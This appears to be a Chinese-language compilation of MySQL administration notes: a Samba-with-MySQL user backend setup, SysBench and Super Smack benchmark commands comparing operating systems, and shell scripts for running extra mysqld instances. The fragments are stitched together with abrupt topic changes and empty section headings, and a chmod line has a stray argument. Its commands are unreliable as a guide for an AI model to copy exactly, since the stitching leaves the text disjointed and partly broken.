mysql:mysql user = samba #mysql用户
mysql:mysql password = password #mysql密码
mysql:mysql database = smb_user #数据库名
mysql:mysql table = user #数据表，似乎没有用处

……
　　建立 smb_user.user 表的脚本可以从 examples/pdb/mysql 目录下的 mysql.dump 导入，如果使用的版本是samba3，还需要单独手工增加“logon_hours"键值，这个目录下的 smb.conf 是一个最简单的配置，可以供参考。但是这个文件有几个地方是错的。

　　最主要的就是上面注释掉的那行，我发现根据这个 sample 不能使用，后来修改为简单的
mysql:mysql 后就能使用了。

　　具体的调试还是必须看相关的日志文件，如果是数据库连接错误，相关的日志文件会报告数据库不能连接的错误。

　　这样，一个基于 MySQL 用户的 Samba 系统建立了起来。
       如果安装了swat，可以运行一下，重新格式化一下配置文件，这样看起来更方便一些。

　 　但是，目前没有现成的完全基于 PHP 的针对 Samba 口令的修改程序。因为 user 表中的 lm_pw 和 nt_pw 分别代表口令的散列，其算法相对比较复杂， 远远不是 PHP 和 MySQL 提供的 encrypt() md5() 之类的函数能解决的。

　　如果有读者已经发现或者已经研发出纯 PHP 的修改 lm_pw 和 nt_[pw 字段的程序，欢迎一起交流。

操作系统：
    gentoo (kernel 2.4.28)
    gentoo (kernel 2.6.10)
    NetBSD 2.0
    FreeBSD 5.3 KSE
    FreeBSD 5.3 LT
    FreeBSD 4.11 (libc_r)
    FreeBSD 4.11 LT
    OpenBSD 3.6
    Solaris 10 (b69)

Super Smack 1.2测试1，2cpu下的SELECT-KEY和UPDATE-KEY的效能：

命令：
super-smack /usr/share/smacks/select-key.smack 10 10000

super-smack /usr/share/smacks/update-select.smack 10 10000

SysBench 0.3.1 1M 的数据Rows测试数据库性能，同样也是1，2CPU的资料：

命令：
To setup:

sysbench –num-threads=10 –test=oltp –mysql-host=172.16.3.7 –mysql-user=root –mysql-password=mysql –oltp-table-size=1000000 prepare

To run:

sysbench –num-threads=10 –test=oltp –mysql-host=172.16.3.7 –mysql-user=root –mysql-password=mysql –oltp-table-size=1000000 run

To cleanup:

sysbench –num-threads=10 –test=oltp –mysql-host=172.16.3.7 –mysql-user=root –mysql-password=mysql –oltp-table-size=1000000 cleanup

10M Rows:

To setup:

sysbench –num-threads=10 –test=oltp –mysql-host=172.16.3.7 –mysql-user=root –mysql-password=mysql –oltp-table-size=10000000 prepare

To run:

sysbench –num-threads=10 –test=oltp –mysql-host=172.16.3.7 –mysql-user=root –mysql-password=mysql –oltp-table-size=10000000 run

To cleanup:

sysbench –num-threads=10 –test=oltp –mysql-host=172.16.3.7 –mysql-user=root –mysql-password=mysql –oltp-table-size=10000000 cleanup

同上，只是 10M 的Row

Super Smack的综合

SysBench 的综合：

该测评的最终结论：
Linux2.4 2.6 以及Solaris比较适合运行mysql, FreeBSD 5.3 (KSE and linuxthreads), and FreeBSD 4.11 表现一般，而其余的很不适合多处理器，而个别案例说明他对于单个处理器还是有优势可言的。

其实本人对某些测试结果持怀疑态度：
    1.其实操作系统内核是可以根据需要进行优化和重编的，
    2.而且对于FreeBSD的测试都是基于Linux模拟方式进行的，对于FreeBSD评价有失公平。
    3.Solaris的磁盘格式非常适合数据库存储，本人就有采用Solairs的磁盘格式优化linux下mysql的经历。

步骤：
1、准备目录
mkdir /mysql1
chown mysql:mysql /mysql1
chmod 755 mysql /mysql1
2、准备新的服务要读取的数据库
cp /path/to/mysql/var /mysql1
3、创建mysqld启动脚本
#start_msyql
#!/bin/sh
rundir="$1"
port="$2"
echo "$rundir"
/www/mysql/bin/safe_mysqld –user=mysql –pid-file="$rundir"/mysql.pid 

–datadir="$rundir"/var -O max_connections=500 -O wait_timeout=600 -O key_buffer=32M 

–port="$port" –socket="$rundir"/mysql.sock &
说明：
脚本使用方法./start_mysql /mysql1 3307
./start_mysql dir port
dir:指的是mysql数据库及运行时产生的文件所在目录
port:指新的mysqld监听的端口

4、创建mysqld的停止脚本
#stop_mysql
#!/bin/sh
rundir="$1"
echo "$rundir"
/www/mysql/bin/mysqladmin -u root -p -S"$rundir"/mysql.sock shutdown